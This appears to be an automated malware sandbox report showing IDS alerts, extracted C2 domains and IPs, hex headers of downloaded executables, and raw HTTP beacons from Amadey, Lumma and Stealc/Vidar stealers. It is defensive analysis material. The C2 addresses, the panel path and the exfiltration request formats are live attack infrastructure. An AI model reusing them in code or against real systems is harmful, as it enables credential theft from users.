Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.11:61716 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.11:49707 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49713 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49707 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.11:49711 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.11:61711 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.11:61728 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.11:61733 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.11:61731 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.11:49706 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49706 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.11:61755 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.11:61759 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.11:61759 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.11:61725 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.11:61761 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.11:61761 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.202.5.153:443 -> 192.168.2.11:61728
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.202.5.153:443 -> 192.168.2.11:61729
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.11:61765 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.11:61763 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.11:61763 -> 116.202.5.153:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: washyceehsu.lat
Source: Malware configuration extractor	URLs: savorraiykj.lat
Source: Malware configuration extractor	URLs: leggelatez.lat
Source: Malware configuration extractor	URLs: bloodyswif.lat
Source: Malware configuration extractor	URLs: shoefeatthe.lat
Source: Malware configuration extractor	URLs: kickykiduz.lat
Source: Malware configuration extractor	URLs: miniatureyu.lat
Source: Malware configuration extractor	URLs: breakfasutwy.cyou
Source: Malware configuration extractor	URLs: finickypwk.lat
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199724331900
Source: Malware configuration extractor	IPs: 185.215.113.43

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: kickykiduz.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: UrDtxPvdestkLUKCgdoC.UrDtxPvdestkLUKCgdoC replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: breakfasutwy.cyou replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: finickypwk.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: miniatureyu.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: leggelatez.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: shoefeatthe.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: DGGKjBirXBdcY.DGGKjBirXBdcY replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bloodyswif.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: washyceehsu.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: savorraiykj.lat replaycode: Name error (3)

Source: global traffic

TCP traffic: 192.168.2.11:61686 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 02 Feb 2025 06:41:51 GMTContent-Type: application/octet-streamContent-Length: 2962432Last-Modified: Sun, 02 Feb 2025 06:13:36 GMTConnection: keep-aliveETag: "679f0d10-2d3400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 31 00 00 04 00 00 2f 40 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 a8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c c6 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec c5 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 a8 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 77 64 68 6e 61 67 72 00 20 2a 00 00 b0 06 00 00 1a 2a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6f 6b 66 66 6b 67 6f 00 10 00 00 00 d0 30 00 00 04 00 00 00 0e 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 30 00 00 22 00 00 00 12 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 02 Feb 2025 06:42:22 GMTContent-Type: application/octet-streamContent-Length: 1013457Last-Modified: Tue, 28 Jan 2025 06:49:56 GMTConnection: keep-aliveETag: "67987e14-f76d1"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 62 7c 80 4e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 7a 07 00 00 42 00 00 af 38 00 00 00 10 00 00 00 90 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 70 10 00 00 04 00 00 f5 d7 0f 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 ac 00 00 b4 00 00 00 00 00 10 00 c6 5e 00 00 00 00 00 00 00 00 00 00 69 4e 0f 00 68 28 00 00 00 60 08 00 94 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 72 00 00 00 10 00 00 00 74 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6e 2b 00 00 00 90 00 00 00 2c 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 2b 07 00 00 c0 00 00 00 02 00 00 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 f0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 c6 5e 00 00 00 00 10 00 00 60 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d6 0f 00 00 00 60 10 00 00 10 00 00 00 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 02 Feb 2025 06:42:57 GMTContent-Type: application/octet-streamContent-Length: 1894400Last-Modified: Sun, 02 Feb 2025 06:25:12 GMTConnection: keep-aliveETag: "679f0fc8-1ce800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 cb 85 81 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 28 04 00 00 ba 00 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4a 00 00 04 00 00 a3 d6 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 50 05 00 6b 00 00 00 00 40 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 51 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 30 05 00 00 10 00 00 00 7a 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 40 05 00 00 02 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 50 05 00 00 02 00 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 60 05 00 00 02 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 62 6d 6e 69 79 6a 71 00 30 1a 00 00 70 30 00 00 30 1a 00 00 90 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 76 77 6d 68 69 6f 76 00 10 00 00 00 a0 4a 00 00 06 00 00 00 c0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4a 00 00 22 00 00 00 c6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 02 Feb 2025 06:43:02 GMTContent-Type: application/octet-streamContent-Length: 1501214Last-Modified: Fri, 24 Jan 2025 15:07:02 GMTConnection: keep-aliveETag: "6793ac96-16e81e"Accept-Ranges: bytesData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 bd ea e2 3a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 50 01 00 00 24 01 00 00 00 00 00 78 64 01 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 20 03 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 9e 0f 00 00 00 10 02 00 d4 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 e3 01 00 4c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 43 01 00 00 10 00 00 00 44 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 e8 0b 00 00 00 60 01 00 00 0c 00 00 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 9c 0d 00 00 00 70 01 00 00 0e 00 00 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 4c 57 00 00 00 80 01 00 00 00 00 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 9e 0f 00 00 00 e0 01 00 00 10 00 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 f0 01 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 00 02 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 d4 02 01 00 00 10 02 00 00 04 01 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 00 00 00 00 00 26 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 02 Feb 2025 06:43:08 GMTContent-Type: application/octet-streamContent-Length: 866906Last-Modified: Fri, 24 Jan 2025 12:37:12 GMTConnection: keep-aliveETag: "67938978-d3a5a"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 62 7c 80 4e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 7e 07 00 00 42 00 00 af 38 00 00 00 10 00 00 00 90 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 00 11 00 00 04 00 00 e2 fd 0d 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 ac 00 00 b4 00 00 00 00 00 10 00 6a ed 00 00 00 00 00 00 00 00 00 00 e2 10 0d 00 78 29 00 00 00 60 08 00 94 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 72 00 00 00 10 00 00 00 74 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6e 2b 00 00 00 90 00 00 00 2c 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 2b 07 00 00 c0 00 00 00 02 00 00 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 f0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 6a ed 00 00 00 00 10 00 00 ee 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d6 0f 00 00 00 f0 10 00 00 10 00 00 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /m08mbk HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
